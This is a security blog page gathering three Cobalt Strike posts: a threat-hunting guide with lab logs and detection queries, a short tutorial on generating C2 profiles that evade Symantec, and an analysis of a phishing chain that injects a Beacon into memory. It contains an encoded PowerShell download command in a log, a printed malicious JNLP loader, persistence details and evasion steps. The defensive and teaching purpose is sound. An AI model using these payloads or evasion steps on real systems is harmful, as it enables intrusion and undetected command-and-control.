Tag: cobalt strike

A Guide to Threat Hunting in a SOC

Introduction

You’d be forgiven for thinking that Threat Hunting is just another Cyber Buzz Word/Phrase spreading throughout the industry, the latest term used to push more product and managed services on a SOC. The reality, however, is that Threat Hunting is an extremely valuable skill and one that every SOC should have.

In fact, I believe that Threat Hunting provides more value than the traditional approach that many SOCs take. The traditional approach being switch on pre-made generic rules from a range of cyber tools like AV and IDS, as well as ingest IOCs from Intel Providers and search for them across the estate.

This typical approach would be what I call a reactive model. A team of analysts sit around waiting for alerts from different tools to trigger, they then triage the alerts and perform an investigation.

In my view, there are a few issues with this approach.

The issues

  • False Positives: Many generic alerts can be prone to false positives. Vendors design rules to work on many different estates. They’re not designed to work on your specific estate. Additionally, with IOCs, bad intel from a provider can generate a lot of noise on your estate.
    • Of course, rules can be tuned to perform better and cut false positive noise. But this is not always easy or even possible.
    • Additionally, false positives play a huge role in creating analyst fatigue. Investigating and closing the same false positives day after day will quickly cause analysts to become frustrated, and lose interest. Team productivity will drop as a result.
    • If analysts are used to closing false positives all the time, chances are they’ll wrongly close a true positive as a false positive for rules that are particularly noisy.
  • Detection Gaps: With a reactive approach, you’re sitting relying on the rules that you have to detect the full spectrum of malicious activity.
    • It requires you to have good detection coverage, but also requires you to have a complete picture of your detection coverage and your detection gaps.
    • Using frameworks like Mitre is incredibly useful for finding gaps in coverage. However, the reality is most SOCs do not have their coverage mapped to a framework.
    • Red Teams can help find gaps in detection coverage. However, most SOCs will only perform one Red Team a year, and a lot can change in a year.

A Different Approach

Some SOCs do already perform threat hunting on their estates, but in most cases this is conducted sporadically when there’s some free time. Free time can be hard to come by when you’re closing false positives all day.

What if instead of spending 90% of time reacting to alerts, the focus was switched to a proactive model? Or if 90% of the time was spent Threat Hunting instead. What impact would that have?

The Benefits

  • Assume Breach: Assume Breach is a common phrase in the industry. It’s a mentality that analysts are encouraged to have when triaging alerts, “assume there’s been a breach”. But sitting around waiting for alerts to come in doesn’t practice this mentality. However, with a Threat Hunting focused approach, you’re forced to hold this mentality, as you’re actively looking for threats and successful breaches.
  • Being Proactive: Being proactive and looking for threats is a better use of time than sitting around waiting for alerts to come in.
    • You’re not reliant on rules and detections you have, and you can hunt for activity where you have detection gaps.
  • Team Productivity: Analysts will be more productive. If they’re hunting for new and interesting activity each day, they’ll be more engaged and interested in their work.
    • Good research-based threat hunting takes skill, and analysts will develop their technical knowledge by conducting in-depth research before hunts.

Understanding Threat Hunting

So we now know the benfits of Threat Hunting, but what actually is it? And how can you do it?

Well, the first thing to make clear is that Threat Hunting is not taking a bunch of IPs and other IOCs and searching for them across your estate. Take a look at the pyramid below. It’s called the Pyramid of Pain. What this pyramid illustrates is the “pain” or effort an attacker will experience if you are able to detect an indicator in each block.

Pyramid of Pain

For example, if we were to take the tool Mimikatz as an example. If you detect Mimikatz based on its hash value it would be trivial for an attacker to change the value of the application, therefore, bypassing your detection. However, if you detected Mimikatz by looking for uncommon processes establishing a handle to LSASS, that would be significantly harder for an attacker to bypass. Additionally, you would also detect other attack tools which exploit LSASS.

Threat hunting should be focused on the top two blocks of the pyramid, TTPs and Tools.

Threat Hunt Model

There are an infinite amount of different threat hunting models available on the internet. But most of them are more or less the same. The typical model looks like this.

Threat hunt model
  • Research: This is one of the phases that I often see overlooked. This is what kicks off your threat hunt. Research can come from a variety of places, maybe you see a new POC for a tool being shared on Twitter. Or maybe you read a blog on a new attack vector. Regardless, this kick starts your research. From here, you dig deeper and investigate the attack vector.
  • Data and Telemetry: Once you have an understanding of the attack vector, you need to establish whether or not you have the correct data set to detect the threat. Whether it be proxy logs, endpoint logs, or something else.
  • Build Hypothesis: This is where you establish the logic of your hunt analytic. This stage is closely linked to the research phase. In my experience, the best way to build a hypothesis is to first test the attack vector. Build a lab and practice using the attack tool, or experiment with the attack vector. Once you’ve successfully experimented, review your logs. Observe what data was collected.
  • Create Hunt Analytic: Next you need to formulate your search. This is essentially where you test your hypothesis against your data & telemetry. A hunt analytic could be anything from a parent and child process relationship or maybe a specific filename and command line value.
  • Investigate and Incident Response: This obviously only occurs if you find some badness while hunting.
  • Tune Review Analytic: Here is where you improve your search to cut out the noise. Likewise, if it’s been turned into an automated analytic, refine it to cut out any false positives.

Let’s Get Technical – Demo

Let’s take a look at a threat hunting example by exploring some lateral movement techniques using Cobalt Strike and Impacket. Both of the techniques are not detected by some of the best EDRs on the market, which makes them a good candidate for Threat Hunts.

It’s worth bearing in mind that while EDRs are great tools that have really enhanced the detection capabilities of many organisations around the world, they’re not perfect. They can be bypassed and there are gaps in their coverage. You should never be reliant on just one security tool, and this again proves the value of threat hunting.

Testing Environment

The test environment is made up of two hosts, a desktop PC and a Domain Controller. A market-leading EDR (that shall remain nameless) is installed on the DC. Both hosts have Sysmon running on them with the SwiftOnSecurity Sysmon Config, and these logs are being fed into ELK.

If you’d like to see how to setup ELK SIEM, you can see my previous blog here.

Attackers Perspective

First, let’s paint the picture of what the attacker has done on our hosts, so it’s clearer what we’re threat hunting for.

  1. User HR was sent a malicious link to a .hta file, which when opened, executes a malicious payload to spawn a Cobalt Strike Beacon running under the user’s context.
  2. As the user does not have admin privileges, the attacker performed privilege escalation. This was done by uploading a secondary payload to the host (via the beacon) and executing it under escalated context using the fodhelper UAC bypass.
  3. This gives us a new beacon running under a higher privileged context. From here, credentials on the host were dumped using Mimikatz via the beacon.
  4. The next step is where we’re going to perform our lateral movement.
    1. Before we do, it’s worth mentioning that a lot of the above activity would have been detected by most EDRs, but there are obviously other ways to achieve the same objectives which can go undetected.
    2. The first method of lateral movement is using wmiexec from Impacket. Using the administrator’s credentials stolen with Mimikatz, we are able to get an interactive shell to the domain controller. Let’s see what using wmiexec looks like, and how we can detect it in a hunt.
Cobalt Strike Attack Tree

WMIEXEC

As wmiexec is open source and the code is available on GitHub, one of the things we might do as part of our research phase is analyse the tools code. One part of the code that sticks out is the remote shell function. We can see here that cmd.exe is being launched, and is parsing flags “/Q /c “. We also know that WmiPrvSE.exe is likely to be the parent of cmd.exe, as it’s wmi we’re exploiting to establish our shell.

lass RemoteShell(cmd.Cmd):       
                
    .......................................
        self.__output = '\\' + OUTPUT_FILENAME       
                
        self.__outputBuffer = str('')       
                
        self.__shell = 'cmd.exe /Q /c '       
                
        self.__shell_type = shell_type       
                
      ........................................
                     
        self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'       
                

With that in mind, we can use a query like the one below, to search for cmd.exe as a child of wmiPrvSE.exe with the command line ” cmd.exe /Q /c” followed by a wildcard.

process.parent.name : "WmiPrvSE.exe" and process.pe.original_file_name: Cmd.Exe and process.command_line :   cmd.exe /Q /c *

Searching on this activity returned a few results, including this event.

Process Create:
 RuleName: -
 UtcTime: 2021-06-27 16:31:42.163
 ProcessGuid: {75D30705-A7EE-60D8-2748-0E0000000000}
 ProcessId: 4956
 Image: C:\Windows\System32\cmd.exe
 FileVersion: 10.0.14393.0 (rs1_release.160715-1616)
 Description: Windows Command Processor
 Product: Microsoft® Windows® Operating System
 Company: Microsoft Corporation
 OriginalFileName: Cmd.Exe
 CommandLine: cmd.exe /Q /c powershell.exe -exec bypass -enc cABvAHcAZQByAHMAaABlAGwAbAAgAC0AYwBvAG0AbQBhAG4AZAAgACIASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAxADkALgAxADMANwA6ADgAMAAvAGQAbwB3AG4AbABvAGEAZAAvAG4AZgBzAC4AZQB4AGUAJwAgAC0ATwB1AHQARgBpAGwAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABEAG8AdwBuAGwAbwBhAGQAcwBcAG4AZgBzAC4AZQB4AGUAIgA= 1> \127.0.0.1\ADMIN$__1624811482.3061206 2>&1
 CurrentDirectory: C:\
 User: RT-LAB\Administrator
 LogonGuid: {75D30705-A7DA-60D8-9E31-0E0000000000}
 LogonId: 0xE319E
 TerminalSessionId: 0
 IntegrityLevel: High
 Hashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A
 ParentProcessGuid: {75D30705-A634-60D8-BC12-050000000000}
 ParentProcessId: 3868
 ParentImage: C:\Windows\System32\wbem\WmiPrvSE.exe
 ParentCommandLine: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

There’s some interesting stuff here. Based on the command line it looks like a PowerShell command encoded in base64 is being executed, where the output of the command is then written to a temp file in an admin share.

We can use the writing of a file to an admin share to better improve our search query.

FYI, the use of wmiexec to launch PowerShell to then download a malicious executable went undetected by our EDR.

Hunt Performance

Our original query from before returned over 70 hits over a 30 day period on an estate with over 20,000 devices. That’s not bad, but we can improve our hunt query using the new information we now have.

process.parent.name : "WmiPrvSE.exe" and process.pe.original_file_name: Cmd.Exe and process.command_line: \127.0.0.1\ADMIN$

Running the query above returned hits for only our attacker activity, nothing else. Making it a good hunt, we could probably turn this into a high confidence detection based on the 0% false-positive rate.

Lateral Movement with Cobalt Strike

Interestingly wmiexec isn’t the only attack tool that utilises the admin share. The “Jump” function that can be run from a Cobalt Strike beacon also writes a file into the admin share. If we look at the Lateral Movement (Spawn a Session) section of the Cobalt Strike Beacon Documentation we can see multiple functions that use the admin share.

Cobalt Strike Jump

If we look in our logs, we can see quite a few useful entries for the activity we can build hunts on.

Registry key added

We can see details of a registry key being added to the host as part of the creation of a new service.

Registry value set:
 RuleName: T1031,T1050
 EventType: SetValue
 UtcTime: 2021-06-27 21:38:44.784
 ProcessGuid: {75D30705-602A-60D7-E044-010000000000}
 ProcessId: 984
 Image: C:\Windows\system32\services.exe
 TargetObject: HKLM\System\CurrentControlSet\Services\0134ebf\ImagePath
 Details: \GSOC-Lab-DC\ADMIN$\0134ebf.exe
winlog.event_data.Details: \GSOC-Lab-DC\ADMIN$\0134ebf.exe
 winlog.event_data.EventType: SetValue
 winlog.event_data.TargetObject: HKLM\System\CurrentControlSet\Services\0134ebf\ImagePath
New Service

There’s a separate event for the installation of a new service, again with our new executable included.

A service was installed in the system.
 Service Name:  0134ebf
 Service File Name:  \GSOC-Lab-DC\ADMIN$\0134ebf.exe
 Service Type:  user mode service
 Service Start Type:  demand start
 Service Account:  LocalSystem
Process Creation

And finally we have the execution of the process.

Process Create:
 RuleName: -
 UtcTime: 2021-06-27 21:38:45.122
 ProcessGuid: {75D30705-EFE5-60D8-C3FA-260000000000}
 ProcessId: 1352
 Image: \GSOC-Lab-DC\ADMIN$\0134ebf.exe
 FileVersion: -
 Description: -
 Product: -
 Company: -
 OriginalFileName: -
 CommandLine: \GSOC-Lab-DC\ADMIN$\0134ebf.exe
 CurrentDirectory: C:\Windows\system32\
 User: NT AUTHORITY\SYSTEM
 LogonGuid: {75D30705-602B-60D7-E703-000000000000}
 LogonId: 0x3E7
 TerminalSessionId: 0
 IntegrityLevel: System
 Hashes: MD5=F43CA9DC11F486ED49BFF32C9A9AE78B,SHA256=A5EE87651D03534C449DA842C768903060C6CDF22A9896C6C66720CF313949C5,IMPHASH=BED5688A4A2B5EA6984115B458755E90
 ParentProcessGuid: {75D30705-602A-60D7-E044-010000000000}
 ParentProcessId: 984
 ParentImage: C:\Windows\System32\services.exe
 ParentCommandLine: C:\Windows\system32\services.exe

Hunting for this activity

There’s a few things we could hunt for to find this activity in the future.

  • Creation of a new service where the service file name includes the admin share.
  • Creation of a registry key by services.exe which calls a file in the admin share.
  • Process creation of a file located in the admin share with services.exe as the parent.
  • File written to disk in the admin share where file name matches the following regex “.admin\$\/[a-zA-Z0-9]{7}\.exe$”
    • When Cobalt Strike writes a file to the admin share, it generates a random file name consisting of 7 alphanumerical characters. This regex I’ve created here may need to be modified depending on the regex flavour you use.

What you need to hunt

To develop an effective basic threat hunting function in your SOC you do not need much.

  • Mitre Mapping: I would recommend mapping your hunts to Mitre, this will help you keep track of which coverage gaps you have hunted in and which need more focus.
  • Plan: Plan your hunts. This saves analysts from hunting for the same things and duplicating work.
  • Talented Analysts: Threat hunting is not easy, and it takes time and skill to perform research and develop hunts from research. Give your analysts the time, freedom and resources to perform research and hunts.
  • Logs: Make sure you have the basic logs coming into your SIEM or Search Platform. Proxy logs, endpoint logs (whether EDR or Sysmon), Authentication logs, etc…
  • Alerting: Believe it or not, I’m not against alerting and use cases, just low-quality ones. For hunts that produce a very low false-positive rate, hunt logic can be used to create a detection alert. Alerting obviously plays an important role in any SOC and needs to work alongside threat hunting.

Closing Thoughts

At the beginning of this post, I said that SOCs should spend 90% of their time threat hunting and 10% of time dealing with alerts and tickets. This is obviously not realistic. But what I think every SOC should do is put more resources into research-based threat hunting, and use that process to create high confidence detections. I generally do think at least 60% of analysts’ time should be spent researching and threat hunting on the estate. I believe that this can have a lot more value than spending the majority of the time responding to low-quality false positives.

A well-devleoped Threat Hunting function will aim to automate hunts and generate threat leads for analysts to pick up and investigate. In my mind, this could be used in the place of generic, low-quality detections.

More to come…

I’ll be releasing another post soon on how you can take threat hunting to the next level, and how you can incorporate the Sqrrl Framework into improving your threat hunt capability. As well as how you can automate threat hunts with a SOAR.

I’ll also be releasing some mini-posts on creating detections for common attack tools like Cobalt Strike and Impacket.

Cobalt Strike – Bypassing C2 Network Detections

Intro

In this mini-post, we’re going to look at how to easily bypass network detections for Cobalt Strike beacons. Many AV products like Symantec Endpoint Protection (SEP) have network detection capabilities that monitor traffic passing through a device’s network interface. Additionally IDS and IPS also have basic detections for C2 traffic. These detections are basically looking for specific patterns in network packets.

For popular tools like Cobalt Strike the basic “out-of-the-box” settings for Beacons are fingerprinted by vendors, and therefore going to be detected.

In Cobalt Strike, Malleable profiles are used to define settings for the C2. You have a choice of different protocols for your C2 with HTTP, HTTPS and DNS being three popular ones. HTTP Beacons are easily detectable, due to the payload being unencrypted. For HTTPS connections, detections occur on the certificate used for encryption.

Like with any exploitation tool, if you use the default values it’s likely you’ll be detected. There are Malleable profiles available on GitHub which can be used and these will change your C2 settings from the default. However, these have also been fingerprinted, and will also generate a detection. The profiles available on GitHub are more aimed at testing your detection capability of different APTs and CrimeWare C2s seen in the wild in the past.

The Solution

Luckily Cobalt Strike Malleable C2 profiles are highly customisable. In fact, customisation is one of the reasons why Cobalt Strike is so popular and also so effective. You could write your own profile and there are some guides online that show you how to do this.

However, there is an easier way, C2 Concealer. The tool, created by FortyNorth Security, was released last year and features a Python Script which will generate a C2 Profile based on a few variables defined by the user.

Demo

Installation is easy, just clone the GitHub repo, and run the install script.

Once the install is complete, run the script and define a hostname you wish to use.

C2concealer --hostname newtpaul.com  --variant 1                                                                                                                                                         

Next, C2Concealer will scan your host to locate where c2lint is located. C2lint is a tool included with CobaltStrike which is used to test/troubleshoot profiles before they’re used.

C2 Concealer

Once the scanning is finished, you’ll be asked to choose an SSL option. Using a legit LetsEncrypt cert is obviously going to be the most effective at avoiding detection. However, that requires you to point the A record at your team sever. For the purposes of this, we’ll just use a self-signed cert.

C2 Concealer

You’ll be asked to fill out some basic information for the cert. It doesn’t matter too much what you put here.

Once it’s complete you should receive confirmation that the profile has passed the c2lint check. The name of the newly created profile will also be displayed.

C2 Concealer

Next, launch your team server, but this time defining the profile to load.

 sudo ./teamserver 192.168.1.21 *Password* ~/C2concealer/C2concealer/34c5a462.profile

Generate a new listener and a new payload of your choice.

Before VS After

Before using our newly created profile, SEP blocked outbound connections to our Cobalt Strike team server. This was when using just the default C2 profile.

symantec detection

However, after using our newly created profile, nothing was blocked and we were able to successfully establish a C2.

cobalt strike

Conclusion

And that brings this quick post to an end. I hope you found it useful! You can read a previous post I wrote on Cobalt Strike here.

Analysing Fileless Malware: Cobalt Strike Beacon

Today we’re going to look at a malware campaign made up of multiple stages, with the end goal of establishing a C2 connection to a Cobalt Strike server. There are a few cool techniques that this campaign uses that we’re going to look at. I happened to come across the initial first stage phishing attachment while browsing for samples on VirusTotal and found it interesting as you do not commonly see JNLP attachments used for phishing. So, let’s get started.

Stage 1: Attachment Analysis

A JNLP file is a java web file, which when clicked, the application javaws.exe will attempt to load and execute the file. Javaws.exe is an application that is part of the Java Runtime Environment and is used to give internet functionality to java applications. JNLP files can be used to allow for applications hosted on a remote server to be launched locally. It is worth noting that to be susceptible to phishing via a JNLP the user will have to have java installed on their machine.

They are generally quite simple and are not difficult to analyse. You can easily view the content of a JNLP file by changing the extension to XML and loading the file in a text editor like notepad++. As shown in the XML code below, we can see that this JNLP file will be used to load and execute the JAR file FedEx_Delivery_invoice.jar from the domain hxxp://fedex-tracking.fun

<?xml version="1.0"encoding="utf-8"?>
<jnlpspec="1.0+"codebase="http://fedex-tracking.fun"
href="FedEx_Delivery_invoice.jnlp">
<information>
	<title>Federal Express Service</title>
	<vendor>Federal Express</vendor>
	<homepagehref="www.fedex.com"/>
	<description>Federal Express documents online.</description>
		</information>
	<security>
		<all-permissions/>
	</security>
	<resources>
		<j2seversion="1.6+"/>
		<jarhref="FedEx_Delivery_invoice.jar"/>
	</resources>
		<application-descmain-class="FedEx_Service">
	</application-desc>
</jnlp>

As we know the name and location of the 2nd stage payload, we can try and download it. The domain hxxp://fedex-tracking.fun is still up, so we can download the FedEx_Delivery_invoice.jar file from here. Once we have the file, we will analyse it with JD-GUI. JD-GUI is a simple tool that allows you to decompile and view the code of JAR files. (I copied the code into Atom after opening with JD-GUI as I like the syntax highlighting there.)

Java phishing attachment
FedEx_Delivery_invoice.jar

As the code snippet above shows, the FedEx_Delivery_invoice.jarfile is going to attempt to download the file fedex912.exe from the domainhxxp://fedex-tracking[.]press. The executable will be placed into the Windows temp directory, where it will then be executed. The JAR file will also load the legitimate FedEx tracking website which is most likely to try and reassure the user that the file they have downloaded is a legitimate one.

Executable Analysis: Stage 2

Unfortunately, at the time of writing, the domain hosting the fedex912.exe is no longer active meaning we cannot download the file from here. However, there is a sample on Virus Total that we can download. I ran the executable in my analysis environment with process monitor and regshot and there were a few things of note. Firstly, the file fedex912.exe drops a new file called gennt.exe, which is basically just a copy of itself, into the directory C:\ProgramData\9ea94915b24a4616f72c\. The reason for placing the file here is that it is a hidden directory and not normally visible to the user. It then deletes the fedex912.exe file from the filesystem.

Process monitor

I used RegShot to take a before and after snapshot of the registry to compare the two after running the executable. The entry below shows the malware’s persistence mechanism. Adding the gennt.exe executable to the registry key here ensures that the malware is started every time Windows is restarted.

HKU\S-1-5-21-1245055219-2462972176-1415829347-1001\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell:"explorer.exe, "C:\ProgramData\9ea94915b24a4616f72c\gennt.exe""

After doing some additional research on the executable, I found that it is supposed to launch cmd which then launches PowerShell. However, that did not occur on my test machine when running the executable. There could be a few reasons for this, one could be that the malware has anti-analysis capabilities and knows when it is being run in a standard VM. As my lab is not currently set up to counter VM aware malware, we are going to cheat slightly and use data from a sample that was run on AnyRun.

On the AnyRun analysis, we can see that cmd did launch "C:\Windows\System32\cmd.exe" /c powershell -nop -w hidden -encodedcommand” where a Base64 command was parsed to PowerShell. AnyRun records the command line, so let’s have a look into this. You can see the AnyRun anlysis here.

PowerShell Analysis: Stage 3

As is usually the case, the command line was encoded with Base64 so I used CyberChef to decode the text. Often when you decode Base64 text there will be a “.” between every single character. This is annoying but can easily be fixed by also adding a decode text operator to the recipe and setting the value to UTF-16LE(1200).

cyberchef recipe
Powershell script

We can see that the command is further encoded with Base64, and if we scroll further down to the bottom, we can also see that it has been compressed with GunZip. 

I used CyberChef to once again decode the Base64 and to decompress the GunZip Compression.

cyber chef recipe

After running the above CyberChef recipe there was finally some human-readable text. There’s a lot of interesting stuff happening here. So we essentially have three parts to the PowerShell script, there’s the first chunk with a couple of functions. The middle section with a Base64 Encoded block and a “for” statement. And then there’s the final section with some defined variables and an “if” statement. We’ll tackle the Base64 Encoded block first and look at the rest of the PowerShell script a little later.

NOTE: I had to split the code screenshots into two, as there is too much code to fit into one image. I’d much rather just post the raw code, rather than screenshots, but that would result in my site being flagged for hosting malware 😂. You can download the code samples at the bottom of this post.

Powershell memory injection cobalt strike beacon
Powershell Script part 1
Powershell memory injection cobalt strike beacon
Powershell Script part 2

One thing that immediately stands out is a “for” statement underneath the Base64 encoded text in the “Powershell Script part 2” image.

xor for statement

The “for” statement suggests that the Base64 block is encrypted with xor with a key of 35. We can also use CyberChef to decrypt this.    

Cyber Chef recipe
Cobalt Strike Shellcode
Decoded ShellCode

As shown in the above output, a lot of it is not human-readable but we can see what looks like an IP address and information about a User-Agent. The rest of the code that we cannot understand looks to be shellcode. Let us try and do some basic shellcode analysis to see what is going on here.

I used CyberChef to convert the code above into Hex. This is straight forward to do, and only requires an additional two operators to our current CyberChef recipe. One operator converts our code into Hex, and the other is a find and replace to remove the spacing.

Cyberchef recipe
Cobalt Strike Shellcode
ShellCode

Once we have our Hex code, you can save the output as a .dat file. Next, I used the tool scdbg to analyse the shellcode. This tool emulates basic Windows behaviour and can intercept what Windows API calls the shellcode is requesting by emulating the Windows API environment.

After parsing the .dat file to the tool, the output below is given. The shellcode loads the wininet API library and imports two functions which are used to establish an internet connection. We can see that the connection is established to the IP address we saw earlier over port 8080.

scdbg output from cobalt strike shell code.

As the shellcode does not import any other functions, it would appear that this is a simple beacon program that establishes a remote connection to the malicious IP. Additional commands are likely to be sent from the C2 server. The C2 IP address is a Ukrainian address, with ports 80, 8080 and 22 open.

Injecting into memory with PowerShell

So we’ve looked at our Base64 encoded block and determined that it’s some simple shellcode which is used to establish a connection to the C2 server. The one question we still have to answer is how is the shellcode executed? From looking at the rest of the PowerShell script, we can see that the shellcode is injected directly into memory. Below gives a basic summary of how it does this.

  1. First the script imports two functions GetModuleHandle and GetProcAddress from system.dll, and it does this by importing them directly from memory, so it does not load the DLL from disk. These are both Windows UnsafeNativeMethods. This method of loading DLLs in this way is called Run-Time Dynamic Linking, and you can read more on it here.
  2. These functions are then used to allocate space in memory for the function “var_va” which is the function which contains our shellcode.
  3. Then the script decodes and decrypts the shellcode, in the same way that we did earlier with CyberChef
  4. Next, the VirtualAlloc writes the shellcode function to space in memory for the calling process. In this case, that would be PowerShell. So, the shellcode is essentially injected into the memory space used by PowerShell.
  5. And finally, the shellcode is then executed, where it establishes a C2 channel with the Cobalt Strike server.

What is Coablt Strike?

AnyRun attributed the PowerShell activity to Cobalt Strike and the PowerShell script and the shellcode that we analysed matches the profile and behaviour of a Cobalt Strike Beacon. Cobalt Strike is a tool used for adversary simulations and red team operations. A key feature of the tool is being able to generate malware payloads and C2 channels. The Cobalt Strike Beacon that we saw is fileless, meaning that the PowerShell script injects the Beacon straight into memory and never touches disk. Once a Cobalt Strike Beacon is present on a device, the attacker has significant capability to perform additional actions including stealing tokens and credentials for lateral movement.

Conclusion

So that brings this post to an end. I hope you found the information here useful. It’s a simple example of fileless malware and I think a good introduction for those who are maybe not very familiar with the area. It’s certainly a topic that I’m interested and something I want to research further, so expect more posts on this in the future!

IOCs

First stage:

  • FedEx_Delivery_invoice.jnlp
    • SHA256: 7d187c34512571b45ffc2285414425b2e8963a914765582f9ea76ecc2791b45e
  • hxxp://fedex-tracking[.]fun


Second stage:

  • FedEx_Delivery_invoice.jar
    • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • hxxp://fedex-tracking[.]press

Third stage:

  • fedex912.exe / gennt.exe
    • SHA256: ba5fa7cc1a918b866354f4a5d9d92ceb3965ff81eb96e1608f190bccf12d38e6
  • Run Location:
    • %PROGRAMDATA%\9ea94915b24a4616f72c\gennt.exe
  • Persistence Registry Key:
    • HKU\S-1-5-21-1245055219-2462972176-14158293471001\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell: “explorer.exe, “C:\ProgramData\9ea94915b24a4616f72c\gennt.exe

C2 Stage:

  • 176[.]103[.]56[.]89

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